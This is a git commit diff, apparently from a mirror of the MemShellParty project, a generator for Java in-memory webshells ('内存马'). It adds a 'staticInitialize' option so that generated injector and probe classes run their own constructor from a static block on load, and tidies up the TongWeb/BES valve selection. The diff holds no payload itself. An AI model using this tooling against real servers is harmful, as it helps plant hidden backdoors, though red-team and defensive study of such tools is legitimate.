mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support staticInitialize
This commit is contained in:
@@ -46,4 +46,9 @@ public class InjectorConfig {
|
||||
* 内存马类字节
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
|
||||
/**
|
||||
* 添加静态代码块调用构造方法初始化
|
||||
*/
|
||||
private boolean staticInitialize;
|
||||
}
|
||||
|
||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.generator;
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.InnerClassDiscovery;
|
||||
import com.reajason.javaweb.buddy.*;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
@@ -59,6 +60,10 @@ public class InjectorGenerator {
|
||||
if (shellConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (injectorConfig.isStaticInitialize() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||
builder = StaticBlockSelfConstructorCall.extend(builder);
|
||||
}
|
||||
return builder;
|
||||
}
|
||||
|
||||
|
||||
+14
-7
@@ -32,13 +32,20 @@ public class ValveGenerator {
|
||||
|
||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||
String packageName = null;
|
||||
if (serverVersion.equals("6")) {
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("7")) {
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
} else if (serverVersion.equals("8")) {
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
} else if (shell instanceof Bes) {
|
||||
if (serverVersion != null) {
|
||||
switch (serverVersion) {
|
||||
case "6":
|
||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||
break;
|
||||
case "7":
|
||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
||||
break;
|
||||
case "8":
|
||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (shell instanceof Bes) {
|
||||
packageName = BES_VALVE_PACKAGE;
|
||||
}
|
||||
if (StringUtils.isEmpty(packageName)) {
|
||||
|
||||
@@ -47,6 +47,12 @@ public class ProbeConfig {
|
||||
@Builder.Default
|
||||
private boolean shrink = false;
|
||||
|
||||
/**
|
||||
* 是否添加静态代码块调用构造方法
|
||||
*/
|
||||
@Builder.Default
|
||||
private boolean staticInitialize = false;
|
||||
|
||||
public boolean isDebugOff() {
|
||||
return !debug;
|
||||
}
|
||||
|
||||
+7
@@ -4,6 +4,7 @@ import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||
import com.reajason.javaweb.buddy.StaticBlockSelfConstructorCall;
|
||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
||||
import com.reajason.javaweb.probe.config.ProbeContentConfig;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
@@ -27,13 +28,19 @@ public abstract class ByteBuddyShellGenerator<T extends ProbeContentConfig> impl
|
||||
@Override
|
||||
public byte[] getBytes() {
|
||||
DynamicType.Builder<?> builder = build(new ByteBuddy());
|
||||
|
||||
if (probeConfig.needByPassJavaModule()) {
|
||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (probeConfig.isDebugOff()) {
|
||||
builder = LogRemoveMethodVisitor.extend(builder);
|
||||
}
|
||||
|
||||
if (probeConfig.isStaticInitialize()) {
|
||||
builder = StaticBlockSelfConstructorCall.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||
return ClassBytesShrink.shrink(unloaded.getBytes(), probeConfig.isShrink());
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user